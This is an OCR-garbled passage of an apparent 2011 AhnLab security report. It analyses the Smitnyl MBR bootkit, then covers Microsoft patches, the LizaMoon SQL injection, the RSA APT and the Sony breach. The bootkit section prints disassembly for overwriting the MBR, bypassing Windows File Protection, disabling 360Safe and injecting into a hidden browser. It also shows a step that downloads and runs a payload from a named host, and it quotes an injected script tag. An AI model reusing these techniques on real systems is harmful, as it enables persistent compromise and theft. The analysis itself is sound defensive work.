If opening MBR is Impossible.
v

[ Backs up Original MBR -> 5t sector ]

i | - SFC.dIl #5 : Uses sfcFileException function to terminate
@l Windows File Protection
i - Loads data from resource sector (Name = 0x6F)
- Saves as c:WWINDOWStsystem32Wdriversibeep.sys
- Starts ‘beep’ service

- Loads data from resource sector (Name = 0x71)
- Saves to 39t sector

@

- Loads data from resource sector (Name = 0x72)
- Saves to 45t sector

o,
- Loads data from resource sector (Name = 0Ox6E) ]

| If opening MBR is Impossible.
v
- SFC.dII #5 : Uses sfcFileException function to terminate
Windows File Protection
- Loads data from resource sector (Name = 0x6F)
- Saves as %Main Dropper folder%DeviceCutter.sys
- Starts ‘DeviceCutter’ service

- Saves to 46 sector

®)

- Loads data from resource sector (Name = 0x70)
- Overwrites 0x200 of the MBR sector
- Saves data after 0x200 to 324 sector

&

- Deletes Main Dropper file
- Exit Process

. W . Y anse YT cams

After that it loads the data in the resources to infect the MBR and userinit.exe file, and save it to the

designated sectors. It then deletes itself, the dropper, and completes its task.

A. Bypass Windows File Protection

SFC.dLL file is a system file checker saved to the %SYSTEM% folder. To create a file in the folder, the

dropper uses the SFC.dlL file’s 5th function, sfcFileException, to bypass Windows File Protection.

[Fig. 1-31] SFC.dLL _ sfcFileException function used to bypass Windows File Protection

68 20404000 |PUSH infector.004 [F‘\ leName = "SFC.DLL"
FF15 18304001 DWORD PTR Dt ERNEL 3¢ A>]

8BFO0 MOV ESI,

64 05 PUSH 5
56 PUSH =]

: [F‘rn: inal = #5
FF15 14304001 Dw[\f] PTR D! 8KERNEL32, GetProcAddress?

hMo 60000 (SFC)

808D FCFEFFF }‘EA EI%X, [LoC

BA FF -
1 P ECX ASCII "C:4#WINDOWS¥systen328"
B4 00 ; 0

FFDO EAX SFC.#5
56 PUSH ESI [hL ibModule
FF15 1030400 DWORD PTR DS GKERNEL32.FreelLibrary>]
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B. Backup of normal MBR

To infect MBR, the original MBR is backed up in the 5th sector. This is done by reading the MBR and

saving it to the stack.

32] Saving 512-byte MBR to stack

00000000
00 |PUSH
400
Moy
CMP EDI, -1
SHORT 1.C
EAX, [LOCAL.
EBX Qverlap > NULL
EAX Re: 001 2FFBE
ESI, 20
EAX, s
ESI| ytes 00 (512.)
EAX

= Bl .

—PYer
5180, |, o’
BIH41t

E
001 2FE

SetFilePointer AP is used to move the file pointer to the 5th sector and overwrite MBR in the (0xAQ0 =
2560, 2560/512 = 5th sector] stack.

[Fig. 1-33] Backing up original MBR in 5th sector
0D401573|| . 56 PUS Eg} Origin => FILE_BEGIN
. £3 00DADOOD lF\ SH 0400 0ffs 00 (2560.)
FF75 08 PUSH [ARG.1] hFile = 00000010
FF15 64304001 DHORD PTR DS: [<4 '
g5c0 EST AX, EAX

SHORT 1.00401582

PUSH ESI

LEA
MOY
PLS

y pOverlapped => NULL
EAX, [LOCAL.1]

= 0012FD98
rite => 200 (512.)
0012FDB3
00000010

=
2
g
£
P
=
2
£
£
e
Z
‘
0

5 08
FF15 2430400

C.Load data to resource sectors

As mentioned before, the main function of the dropper is to load and save data to resource sectors
and create file. The methods to load data are mostly similar. We will look into the method of saving
0x71 resource to the 39th sector. It uses FileResourceA API and looks for the data (Size=0xAQ0,
Address=0x00407050) that falls under the Type = 'RES" and Name = ‘71" to load. Then it uses
SetFilePointer APl to move the file pointer to the 39th sector and saves as much data as 0xAQ0Q in
0x00407050 loaded to (0x4E00 = 19968, 19968/512 = 39th sector). As WriteFile API is used to write 512
bytes (0x200) each time, it repeats 5 time to finish writing 0xAQQ.
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Origin = FILE_BEGIN
pOffsetHi = NULL

ESI Offsetlo = 0 :

éail::ﬁ 1] hFile = D00000BE (window)

[Fig. 1-34] Saving Type = ‘RES’, Name = ‘71" resource data to 39th sector

$ 56 ESI
. FF424 0OC DWORD PTR ESP+C] [Hesou rceType = "RES”
1
FindRes

FF7424 OC DWORD PTR ESP+C]

64 00 PUSH 0
FF15 0C30400 DWORD PTR DS:
8B ES|, EAX

ES|, ESI
SHORT 1.00401033
ES|

ResourceName
hModule = NULL pOverlapped = NULL

5 US |

8045 FC , [LOCAL.1]

BE 000200( ¥ , 200

50 P = 0012FD50
=> 200 (512.)

56 vtesTo te =
53 3 infector,00406120
FF75 08 [ARG. 1] hFile = 0ODD00O0GS (window)
8B1D 24304 MOY EBX, DWORD PTR DS:[<&KERNEL32.¥r|| kernel32.WriteFile
FFD3 EBX
. 88C0 = EAX, EAX
. 74 BD SHORT infector,00401454

hResource = 004050F8

64 00 F 0 hModule = NULL

FF15 0830400 DWORD PTR DS: \ 20

8B4C24 10 MOV ECX, DWORD PTR SS:[ES Size = 0xAOD

56 PUS ESI hResource = 004050F8

64 00 ; 0 hModule = NULL

8901 MOY DWORD PTR C (

FFI5 0430400 DWORD PTR DS:|< oadRe _ _

B85C0 EAX, EAX samp | e. 00407050 E. Self-deletion by main dropper
SHORT 1., 00401037

0 Origin = FILE_BEGIN It runs ‘cmd /c del %Main Dropper%\MainDropper.exe > nul command to delete itself.
EAX, DWORD PTR DS: [EBX+EDI]

EAX
[ARG. 1] e = 00000010
DWORD PTR D etFi

EAX, [LOC
0

= 4E00 (19968.)

[Fig. 1-36] Self-deletion routine
. 00 ority = REALTINE_PRICAITY_CLASS

Over lapped = NULL
pBytesWritte 0012FDS4
nBytesToWrite = 200 (512.)
Buffer = sample, 00407050
hFile = 00000010

b
EAX, EAX

SHOAT '1.00401638
[LOCAL. 3], ES

D. Infected MBR

2.2 Infected ‘userinit.exe’ (Win-Trojan/Agent.25600.YE)

It uses FileResourceA API to search for and load data (Size=0xF2A, Address=0x00406120) falling
under Type = 'RES" and Name = 70" in the resource sector of the file, and overwrites the MBR sector The data saved to the main dropper’s resource sector under the name of 71 is written in the 39th
with the first 512 bytes of data. sector and overwrites userinit.exe when the system restarts. It decodes and executes the encoded

[Fig: 1351 Overwriing data in|MBR sector data saved to the 45th sector. If 360Safe exists, it terminates 360safe |IE Protection and creates a fake

$ 56 ESI explorer.exe in the Temporary folder (%Temp%) to write the decoded data in the 45th sector. It also
mEEn EmmsE Eoucsns -
742 WORD PTR SS: C esourceName i ictimi inki i i
BA 00 154 0 [hMUduIe SN runs the real explorer.exe to trick the victim into thinking explorer.exe is running properly.
FF15 0C30 DWORD PTR DS: (ERNEL32.FindRes
. gg;g Eg: Egﬁ( [Fig. 1-37] userinit.exe infection codes saved to 39th sector
; E!BI 1C Eg?RT infector.00401033 - —
PUSI esource = e
64 00 USH G [hm.:..jule = NULL [Code in 39 Sector ]
FF15 0830 DWORD PTR DS: [<&KERN eofR
8B4ca4 10 ECX, DWORD PTR SP+10 Size = OxF24 p N
EE - UG ESl pﬁeiﬂtllrce " JEE‘lUSOEB @ -Checks "HKLMWSOFTWAREW360SafeWsafemon’ and
ol Module = . i
8901 DWORD PTR DS: . EAY L terminate 360safe IE Protection )
FF15 0430 DWORD PTR KERNEL32.LoadRes
. EAX, EAX infector,00406120
0040103111 .. SHORT infector, 00401037 4 . B
- Creates fake explorer.exe in %Temp% folder
@ - Decodes encoded data in 45t sector

- Overwrites fake explorer.exe with decoded data
- Run fake explorer.exe

® ™
‘—{- Run uninfected explorer.exe
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A. Termination of 360Safe IE Protection
RegOpenKeyExA API is used to check whether HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\
safemon registry exists. If it does, 'IEProtAccess” and ‘IEProtNotify” are set to ‘0" to terminate

360Safe |IE Protection. 360Safe |IE Protection is a Chinese antivirus.

[Fig. 1-38] Termination of 360Safe IE Protection

EAX
OF003F
DWORD FT R S5

24

the stack and conduct XOR calculation with 7F. It corrects the MZ and PE signatures as ‘4D5A" and

‘5045’ and writes in the fake explorer.exe. It is set to repeat these steps nine times.explorer.exe

[Fig. 1-39] Decoding routine and file change

||ﬂﬂi§§§llIHE&IlIﬂhﬁIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII ASCI |
2FDC4| 24 D5 EF 7 9 7F| 7B 7F 7F 7F|80 80 +R40| 000000000
4|67 F T F TF|3F TF T W[ 700000070000000
1(7F TF T F A TF [ TF 00000000U700000
\(7F T F i T TF T |AF 000000000000700
04(71 60 C5 6 C7 7E 33|B2 q" §0777374

89‘424 o0 HOV

8415 DED2400( HO\;
_{

64 00
bB BO024000
00080

865¢

2 v
C74424 28 00f MOY

I224 40 MOV
MO

DWORD F'TF
BL, BYTE PTR

0
"SOFTWAREHW3603afettsafenon”
HKEY_LOCAL_MACHINE
BYTE PTR

DWORD PTR
DWORD PTR

16 OC 5F 18 12 5F 1C
0A 16 11 5F
72 T _TF TF

o et
. A0, _
t4+—Qrru[0000000M

FF1E 0a02400(
8500

EAX, EAX

885424 10 MOV EDX, DWORD PT
B6B35 0802400¢ HOV Sl, D P
804c24 14 ECX, DWORD PT
64 04 1 4 i 4
51 ECX Buf = L'l]l" BAD
RA 04 4 ValueType = HEF DWORD
EAX =
58 AD024000 | PUSH EE}).(DIMDDZAD ) Na " IEProthccess”

FFDb
884C24 10
804424 14
54 [0 BufSize = 4
0012FBAD
= REG_DWORD

64 00 t ] =0
h? 90024000 | PUSH 71.00400290 eName = "|EProtNotify”

ECX
FFDE
835424 10 | MOV on, DWORD PTR SS: [ESP+10]
¥ X

US X [hr::e,
FFI'% 0002400( DWORD PTR DS: [<&ADYAPI32.Regll o

B. Creation and execution of explorer.exe

To save fake explorer.exe, it retrieves the Temporary folder location and then accesses the 45th
sector and decodes encoded data and creates and runs the fake explorer.exe in the Temporary
folder. It also executes the real explorer.exe to trick the victim into thinking explorer.exe is running

properly. During the decoding process, it reads 512 bytes of data in the 45th sector and saves it to

BE EH U= OIS F 22 XOR S

'PET AIDUME B2E

ed = NULL

57 ] )
FF15 1802400( D 1 DS: [<EKERNEL32. WriteFi le:
26

83FE 03
~ OFB2 G61FFFFFI

X 00 00 00 00
00 00 O 00 00 00 00 0O
00 00 CIU 00 00 0O D5 00 0O[00
00 00 0O(00 DO 00 00 00 00 00|DO
1F B4 OE(DO B4 09 CD B8 01 4C|CD
73 20 70|72 6F 67 72 6D 20 63|61 s program canno
20 62 65|20 72 75 BE 69 BE 20|44 t be run in DOS
6F 64 B5(2E 0D 0D 04 00 00 00|00 mode $
74 04 C1|A5 15 BA 15 B4 92|45 HEL 2L gL
09 64 92|46 15 BA 15 BB 92|87 &. du,lle'"lk UJ
04 79 92(42 15 BA 33 61 92(44 WEJHLJ-!S&
69 63 68|45 15 BA 00 00 00|00
0 ’ 00 00 0O(0O 00 0O 00 00 DO(0O0
|_||_|1._FE'-L1 45 00 00(4C 01 01 00|91 BE 53 43|00 PE. .Lrr. SVI....

2.3 Fake explorer.exe (Win-Trojan/Pincav.4608.AT)

The encoded data saved under the name of 72 and 6E in the main dropper’s resource sector is written
in the 45th and 46th sectors. The encoded data gets decoded by the saved routine in the 3%9th sector
and creates and runs fake explorer.exe. As shown below, it gets injected into iexplorer.exe to perform

download.

[Fig. 1-40] Fake explorer.exe’s process

[ Code in 45 Sector ]

4 ™
©) - Run iexplore.exe as Hidden
- Injects itself into running iexplore.exe
. y,
4 N
- CreateRemoteThread
@ - Checks internet connection by opening ‘www.baidu.com’

- Download ‘www.perfectexe.com/cs.gif’ and saves as and
runs ‘c:W2008.exe’
W

® s N

- Changes attributes that could infect ‘userinit.exe’ and maps

o oo o o o
memory for data share amongst processes
\ Wy,
4 N
@ - Deletes itself
‘emd.exe /¢ del %Temp%explorer.exe > nul’
\ v
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A. Execution of IEXPLORE.EXE with Hidden attribute and self-injection

It retrieves ‘c:\program files\Internet Explorer\lEXPLORE.EXE" path first and uses WinExec API to
run iexplorer.exe with ‘Hidden' attribute, and gets virtual memory space for the iexplorer.exe run by

VirtualAllocEx API to inject itself through WriteProcessMemory API.

[Fig. 1-41] IEXPLORE.EXE execution and injection

ShowState => SW_HIDE

mdLine = "C:#program files#Internet orerf| EXPLORE

OMMIT | MEM_RESERVE

EDX

DWORD PTR DS:| el32.Y \| locE
0 sWritten NULL
sTo¥ri 0 (4

DWORD PTR DS:[13150E1¢
hProc > window)

OO OAOOOAO AT

B. File download and execution

It runs the injected codes with ‘CreateRemoteThread” and downloads http://sb.perfectexe.com/

cs.gif and saves it as 'C:\2008.exe’ and executes it.

[Fig. 1-42] File download and execution
| B4 00 ) 0
64 00 PUSH 0
68 40031513 |PUS explorer, # .exe
68 DCO21513 explorer. http . perfectexe.con/cs.gif”
00000000

DWORD PTR DS:[13 .URLDownloadToFi | eA

50340 ASCII "C:#2008.exe”
658 50374 ASCII “open”

64 00 f 1
FF15 OCOE151 . hel |Executed

3. Process of infected MBR

The main process of “uninfected” MBR is to find the partition to boot from the partition table and
call the boot sector of the partition. MBR in an infected system gets BOOT.INI file and WINDOWS

and SYSTEM32 directory information to infect userinit.exe, and reads data to infect in the 39th

[Fig. 1-44] Operation of infected MBR

[ Infected MBR ]

[Fig. 1-43] Normal operation of MBR l
3 - Looks for booting partition and checks
Uninfected MBR [ whether the system is FAT or NTFS ]

sector to infect userinit.exe.

NO 2 l
[ Checks for booting partition ] —_— ?rlfgfa/}:essage -
- Reads the file system’s boot record and gets MFT#5 meta
l YES data file, information of root directory
NO s
[ Chec_ks whetl_'\_er there is one ] — Z:Z:a;sessage l
booting partition

l YES - Looks for boot.ini file and gets data information to

NO > look for Windows, System32 and userinit.exe directory/file
3 A7 Displays

[ Reads boot sector of booting pamtlon]—’

Error message l

YES

NO Displays -Reads userinit infect payload saved to 39t sector to
Signature (Checks '55AA") T | Error message infect userinit.exe
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The code routine of infected MBR shows that the malicious code creator does not only understand the
MBR structure, but also the FAT and NTFS file system structure to use boot record values, MFT (Master
File Table) header and attributes to get the required data. The data obtained is used to ultimately get
information on userinit.exe and read the payload saved to the 39th sector to overwrite userinit.exe.
A simple way to tell whether the userinit.exe file is infected or not is to check the file information.
Information such as the file version will be displayed if the file is uninfected, and not if the file is infected.
If you check the raw data with a Hex view tool, you will see 55 AA signature in the 0x28 openset. This

signature is used to check whether the malicious code has infected the file.

[Fig. 1-45] “Uninfected” userinit.exe and infected userinit.exe

g [HA g% @8 gor
Ohe Ha: 5.1.2600.2180 '__'r userinit_infected. exexx
-1-H Userinit Logon Application
’ : . o wa: EXEXX TN
HEH: (C)Microsoft Corporation, All rights reserved, o i)
G ZR0Y ¥+ 88 Z20Y B3(0)...
|EHHD 3=
v : 2+ #IA
R 0I8: g
=N S [userinit g 23,5KB (24,064 BIOIE)
HE M 018 023 €€ 301 24,0KB (24,576 BIOIE)
AE A i
HE0IS = 2 A9 P
oHe MO o X 201141 38 302 +8%. 2= 6:01:53
EAH
I 2T WAk 2006 58 31 £8Y, 2B ::56
HHATHET 20114 48 27R 218, F 12:08:41
s2 Owize® Osa®
@ @
a
oFile W Ot e ) oFile Raw Data Value
00000000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ i | 00000000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ
00000010 B8 00 00 00 00 00 00 00 g 0 00 00 00 00 00 e i | 00000010 B8 00 00 00 00 00 00 00 .40 0 00 00 00 00 00 e
00000020 00 00 00 00 00 00 00 00 | 00 00 p0 00 00 00 00 00 i | 00000020 00 00 00 00 00 00 00 00 0 00 00 00 00 00 v
00000030 00 00 00 00 00 00 00 00 ™V¥ )0 00 D8 00 00 00 : 00000030 00 00 00 00 00 00 00 00 T=00 00 CO 00 00 00
00000040 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 1..L.ITh| i | 00000040 OF 1F BA OE 00 B4 09 CO 21 B8 01 4C CD 21 54 68 1oL.1Th
00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno | i | 00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS H 00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00000070 0 00 00 00 00 00 00 mode i | 00000070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode s
00000080 A 57 4 57 91 €6 54 5 5 W. w. | i | ooooooso 65CAID 12 65CAD 12 | .sAe. . .e...e
00000090 00000090 53 07 D5 0E 12 62CA 1D 12 S 9 b
00000040 00000040 65 CA1C 12 6ACA1D 12 S3EC 16 1264 CAD 12 e...j.. .S ..d
00000080 00000080 52 69 63 68 65 CA 1D 12 00 00 00 00 00 00 00 00 Riche
000000C0 5 | 000000CO 50 45 00 00 4C 01 01 00 C5 20 5B 49 00 00 00 00 PE..L [
00000000 00 00 00 00 00 00 00 50 45 00000000 00 00 00 00 EO 00 OF 01 08 01 06 00 00 08 00 00

A. Infection of userinit.exe

[Fig. 1-46] userinit.exe infection routine in infected MBR

debug01:1357 ;

debugB1:1357

debug001:1357 InfectUserinit_exe: ; CODE XREF: debugBf1:6993fp

debugB01:1357 cnp cs:Userinit_NonResident, 0 3 - Userinit.exe S£4HIC{2 Non-Resident Flag H|@
debugBe1:1350 jnz short NonResident ; - 12 HIEEH 22T NonResidentz FIZ

debug061:135F jmp locret_1449
debugB81:1362 ;

debug001:1362

debughB1:1362 NonResident:
debugBf1:1362 nov cs:word_1518, 0
debug081:1369 nov cs:word_151A, 0

CODE XREF: debug®1:135015

debugB81:1378 nov al, S ; — Number of Sectors = 8x5

debugB61:1372 nov ah, 2 ; — Read Sectors From Drive = 8x2

debugBf1:1374 nov dx, s N

debug081:1377 nov cl, 4 G ; = Start Sector = 0x27 » 8x200 = Bx4EB0 (39% AE)
debug0d1:1379 nov ch, 8

debugB01:1378 nov bx, 8CO6h ; - Bx8COB2Z 2N =2

debug001:137E int 13h ; DISK - READ SECTORS INTO HEHORY

debug081:137E 3 AL = number of sectors to read, CH = track, CL = sector
debugBe1:137E ; DH = head, DL = drive, ES:BX -> buffer to fill
debugB@1:137E ; Return: CF set on error, AH = status, AL = number of sectors read
debug01:1380 mov di, 8C28h 5 - BXMEGBMIAH 24| MEi2 UMM exscesy UMW B
debugf01:1383 cnp word ptr [di], BAASSh 3 — infected Marker(@xARS5))} Sl=7| 0l

debug01:1387 jz short FoundMarker

debugf01:1389 jmp locret_1449

debugB81:138C ;
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debugBe1:1357 ; —------------—-mmmmmmmm e e
debugf01:1357
debugB01:1357 InfectUserinit_exe: ; CODE XREF: debugBe1:8993fp
debug801:1357 cnp cs:Userinit_NonResident, 8 - Userinit.exe SMIC{2 Non-Resident Flag H|2
debugB01:1350 jnz short NonResident - 12 HE%H S'©% NonResident2 TIZ

I' debug001:135F jmp locret_1449
debug001:1362 ; ------------------
debug081:1362
debugB®1:1362 NonResident:
debugBf1:1362 nov cs:word_1518, 0
debug81:1369 nov cs:word_151A, @
debug801:1378 nov al, 5
debug801:1372 nov ah, 2
debugfB1:1374 nov dx, 86h ;
debug081:1377 nov cl, 28h ; ('
debug001:1379 nov ch, @
debugf01:1378 nov bx, 8C06h ; - Bx8C0022 UM =
debug801:137E int 13h DISK - READ SECTORS INTO HEWORY
debug001:137E AL = number of sectors to read, CH = track, CL = sector
debug001:137E DH = head, DL = drive, ES:BX -> buffer to fill

CODE XREF: debugB®1:1350Tj

- Number of Sectors = Bx5
- Read Sectors From Drive = 8x2

- Start Sector = 8x27  Bx208 = BxX4EE0 (39t1 MEi)

debug881:137E ; Return: CF set on error, AH = status, AL = nunber of sectors read
debug881:1388 nov di, 8C28h 3 - BxuEOBHIH 242 MEIS HUOAM exsceel U =

debugB01:1383 cnp vord ptr [di], BAASSh ; - infected Marker(@xAAS55)J} Sl=7| =2

debugB®1:1387 jz short FoundMarker

I' debug001:1389 jnp locret_1449
debugf01:138C ;

The final process of infected MBR is to get the starting point and number of the sector to check and read
the file and then use ‘Extended Write Function (AH = 43h)" and read the data saved to the 39th sector in
the memory’'s '0x8C00" sector. It compares the 0xAAB5 signature to check whether the data has been

properly read.

4. Workaround

As a result of testing the malicious code with V3 IS 7.0, before the system is infected malware gets
detected and removed, but once the system is infected, infected MBR cannot get detected nor repaired.
Infected userinit.exe gets detected as Win-Trojan/Agent.25600.YE, but does not get repaired because it
is Windows system file, and is monitored by WFP (Windows File Protection). In other words, malicious
files that need to be removed get protected. There was a boot virus detection and repair function in
V3, but ever since the Defo virus issue on March 2010, the function was removed from the engine. As
a makeshift, we are providing an exclusive solution for only our customers whose systems have been
infected. This solution compares the partition table of the backed up MBR and infected MBR, and if it is

the same, it overwrites the backed up MBR.

5. Conclusion

‘Smitnyl Bootkit” infects MBR: this could cause serious issues, as it is quite tricky to detect and repair
infected MBR. There have not been that many cases reported in Korea, but many victims of this attack
might not even know their system is infected. With this, this malware appeals to many attackers. If this
malware propagates, it will cause a big stir amongst security companies. Smitnyl Bootkit contains a
Chinese hardware monitoring tool and prevents 360Safe, a Chinese antivirus, from running properly.
This indicates that the bootkit has been created by Chinese hackers. With this, Chinese online hacking
sites and forums should be monitored to get information for researches on the method or other

methods to detect and repair boot viruses.
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02.Security Trend
a. Security Statistics

Microsoft Security Updates- April 2011

Microsoft released 17 security updates this month.

I I IE I Office I Applicationl Sever
12
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7
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5 I I i
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3 I I I
2| Wit et mm il
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[Fig. 2-1] MS Security Updates

Microsoft released 17 security updates this month - 12 were system vulnerabilities. System
vulnerabilities may cause direct attack against the operating system - malicious software does not need
to be installed to the system. So, vulnerable systems are more exposed to security threats. The proof of

concept is available for two vulnerabilities, and more than 50%, which is 9 security updates, are critical.

Severity Vulnerability Poc
Critical Cumulative security update for Internet Explorer (MS11-018) Y

Critical Vulnerabilities in SMB Client could allow remote code execution (MS11-019)

Critical Vulnerabilities in SMB server could allow remote code execution (MS11-020)

Critical Cumulative security update for ActiveX kill bits (MS11-027)

Critical Vulnerabilities in .NET Framework could allow remote code execution (MS11-028) N

Critical Vulnerabilities in GDI+ could allow remote code execution (MS11-029)
Critical Vulnerability in DNS Resolution could allow remote code execution (MS11-030)

I\
Critical Vulnerability in JScript and VBScript scripting engines could allow remote code execution (MS11-031) N
Critical Vulnerabilities in OpenType CFF driver could allow remote code execution (MS11-032) N
Important  Vulnerabilities in Microsoft Excel could allow remote code execution (MS11-021) N
Important  Vulnerabilities in Microsoft Office could allow remote code execution (MS11-022) N
Important  Vulnerabilities in Microsoft Office could allow remote code execution (MS11-023) I\
Important  Vulnerability in Windows Fax Cover Page could allow remote code execution (MS11-024) N
Important  Vulnerabilities in MFC could allow remote code execution MFC (MS11-025) N

N

Important  Vulnerability in MHTML could allow information disclosure (MS11-026)
Important  Vulnerability in WordPad text converters could allow remote code execution MFC (MS11-033)

Important  Vulnerabilities in Windows Kernel-Mode drivers could allow elevation of privilege (MS11-034) N
[Table 2-1] MS Security Updates for April 2011
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02.Security Trend
b. Security Issues

LizaMoon mass SQL injection

On March 29, a US security provider, Websense, reported a mass
SQL injection attack on its blog, “LizaMoon mass injection hits
over 226,000 URLs (was 28,000) including iTunes". This attack
hit over 226,000 websites. This attack is called LizaMoon from
lizamoon.com that is the doamin name inserted by the attack.
We googled this attack to check the amount of damage caused
to Korean websites. It did not only attack foreign websites, but

also many Korean websites.

[Fig. 2-2] Korean websites hacked by LizaMoon SQL injection

L2 BHFLIE
200841 1§ 31%... </tle> <a shie~display:none: hrefshttp:// .com >book</a> </title>

<script src=nttp:// Vur.php> </script> ...
Gev/amet/view. asp7PC MZE HOIX

HIRSASTLICH
200148 2 184 ... 2P OEESICIOY 221001 F 213010 wierx].. RoS2 MU/ we> <script srce

hito:// Jur.php> </script> </utle> <script ...
bbs_view.asp?id MPE HOIX
i [n:
s Aitle> <script srcehmpl// /ur.php> </script> </utle> <script src=hitp://

Jur.php> </script> /utle> <script ...

S—— R Eel i1l
2010L1 9% 108 ... VIAE) (RHY) </tle> <script sreship://
com/ur.php> </Script> </we> <script ...

happywork/dcolum_read. asp

OLED SPUTTER CVD ETCHER Name Password Homepage Email Title <BRX<BR ...
o] Ajo|E = NBE{ol SHE OPIW S AUSLIC
s OIHBAICH /P> </tille> <script src=hitp:// Vur.php> </script> /utle> <script
srcehttp:// com/ur.php> </script> </tie> <script ...
mBoard/Board _Wr.aspx?...run=1

TEX IR E OIS HIK UHE POOMISHULINITGPS <P> /P> <P ...
</P> </utie> <{script src-htp:// /ur.php> </script> </ule> {script
srcehttp:// /ur.php> </script> </title> <a...

v e RO A AhnLab

11 web pages were used for the attack as below:

<script src=http://[malicious domain]/ur.php></script>

The address inserted into the web page is redirected in three

stages as below:

http://[malicious domain]/ur.php’
-> "http://[XXX.co.cc/scanXX/[number]?sessionld=[numbers]]’

-> ‘http://IXXX.co.cc/scanXX/[number]/freesystemscan.exe’

The web page connected in the final stage downloads rogue

antivirus.

[Fig. 2-3] Download of rogue antivirus through three redirections
in hacked web page

Microsoft Internet Explorer
Warning!!! Your computer contains various signs of viruses and malware programs

presence, Your system requires immediate anti viruses check! System Security will
perform a quick and free scanning of your PC For viruses and malicious programs,

-

3 My computer Online Scan - Microsoft Internet Explorer
Fle Ed View Favortes Tools Melp o

Search ravorres €2 3- 5 03 B

v B oo e ®

» N N
= = W )

System scan progress.

Shared Documents My Documents
47 worms
Mard deives
Local Disk (C:) Local Disk (D:)

My Network Places

My Documents

Shared Documents
Control Panel
OVD-RAM Drive (E:)

- A AhnLab

The files downloaded from the last redirected web page is
freesystemscan.exe, and according to ASD (AhnLab Smart
Defense), the file size is from 2,343,424 bytes to 2,702,848
bytes. This method of distributing malware through vulnerable
websites has been frequently used from years back. You must
always update your web browser and system to the latest version
to prevent such attack, as it can even been launched via trusted
sites. Also, it is important to update your antivirus to the latest
version and use SiteGuard that blocks phishing sites and attacks

by malware.
V3 detects this malware as:

- Trojan/Win32.FakeAV

- Win-Trojan/Malware.2343424.F
- Win-Trojan/Malware.2332672.D
- Win-Trojan/Malware.2329600.B
- Win-Trojan/Malware.2667520
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APT attacks RSA

RSA, the security division of EMC suffered a security breach by
APT on March 18. RSA issued an ‘Open Letter to RSA Customers’
on its website and pleaded with their clients to take extra caution
when using their product. APT is a security threat - it was used
in Operation Aurora attack to hack Google on January 2010,
Stuxnet to attack an Iranian nuclear power plant on July 2010,
and Night Dragon attack launched on a global energy company
on February 2011. On April 1, RSA published “Anatomy of an

Attack” on its website to describe the attack method in detail.

[Fig. 2-4] RSA attack anatomy (Source: EMC/RSA)

1) ) @
el Data Exfiltrate
emen gathering

A handful of The user Attacker
usersare machine is elevates
targeted by accessed accessto
two phishing remotely by important
attacks; one Poison lvy tool | user, service.
useropens andadmin
Zero day accounts,and |
payload (CVE- specific
02011-0609) systems

1) Spam with the subject “2011 Recruitment Plan” was sent to
employees over two days - the personal information of targeted
employees was obtained from social network service.

2) 2011 Recruitment plan.xls was attached to the spam - it
contained a SWF that exploits the zero-day vulnerability in
Adobe Flash Player announced on March 15.

3) The vulnerability is exploited to access user’s machine
remotely with Poison lvy (Trojan horse).

4) The infected system is used to access the internal network
and get escalated privileges (administrator’s privileges) to the
system.

5) The data of the targeted system is copied to another system
and then compressed and encrypted.

6) The compressed and encrypted data gets encrypted and
compressed again as RAR and exfiltrated to a hacked third
party system via FTP.
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The three main steps of this ATP are as follows: gather
information of targets via social networking service, infect
target’s system with social engineering method and exploit
zero-day vulnerability of widely used software. Corporate IT
departments must regularly train the staffs and executives
about social engineering techniques so that they will pay more
attention to signs of irregularity in the internal network and

system.

7.7 million account information exfiltrated from Sony
PlayStation network

Data was exfiltrated from Sony PlayStation network that holds
numerous game account information from all over the world.
420,000 personal information was also exfiltrated from a Korean
financial institute, Hyundai Capital, just recently. The number
is incomparable with the number of account information that
was stolen from Sony PlayStation network - 7.7 million. Unlike
other data exfiltration where the name, address, email address,
date of birth, user ID, password and login information are stolen,
more information was exfiltrated in this attack. With this, Sony
removed the network and gamers were not able to download
games from the network and play games over the Internet.
According to Sony, their network was attack between April 17
and 19, but did not disclose the exact amount of information that
was stolen. There is no evidence that credit card information has
.been stolen, but there is a possibility. The exfiltrated information
could be used maliciously. About 230,000 Korean users were
affected, so you are advised to change your password. Because
Sony disclosed this attack one week after, there is a possibility
of secondary attacks launched against some users. In the past,
secondary attacks meant sending off spam mail. For instance,
ever since a user’s account information was stolen from Play.
com, the user started receiving spam. The stolen information
could be used for other malicious means. This method of
attack could be launched on other networks, so companies are
advised to reinforce their method in protecting their customer’s

information safely.
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03.Web Security Trend
a. Web Security Statistics

Web Security Summary

As of April 2011, there were 107,713 reported malicious codes, 704 types of reported malicious code,
720 reported domains with malicious code, and 2,605 reported URLs with malicious code. The type of
reported malicious codes and domains and URLs with malicious code decreased, but the number of

reported malicious codes increased from last month.

Category Reports
Blocked malicious URLs 1 07,71 3
Reported types of malicious code 704
Domains with malicious code 720

URLs with malicious code

2,605

[Table 3-1] Website Security Summary

Monthly Blocked Malicious URLs

As of April 2011, the number of reported malicious codes increased 9% from 99,034 the previous

month to 107,713.

107,713

2011.04

[Fig. 3-11 ] Monthly Blocked Malicious URLs

Web Security Trend
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Web Security Trend

Monthly Reported Types of Malicious Code

As of April 2011, the number of reported types of malicious code decreased 7% from 759 the previous

month to 704.
C_ ~ 704
st ﬂ
2011.04

[Fig. 3-2] Monthly Reported Types of Malicious Code

Monthly Domains with Malicious Code
As of April 2011, the number of reported domains with malicious code decreased 9% from 780 the

previous month to 720.

720

2011.04

[Fig. 3-3] Monthly Domains with Malicious Code

Monthly URLs with Malicious Code
As of April 2011, the number of reported URLs with malicious code decreased 39% from 4,259 the

previous month to 2,605.

2,605

2011.04

[Fig. 3-4] Monthly URLs with Malicious Code

|
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Top Distributed Types of Malicious Code
As of April 2011, adware is the most distributed type of malicious code representing 13.3% (14,371
reports) of the top distributed type of malicious codes, followed by Trojan that represent 7.1% (7,602

reports).

Type Reports Percentage
ADWARE 14,371 13.3%
TROJAN 7,602 7.1%
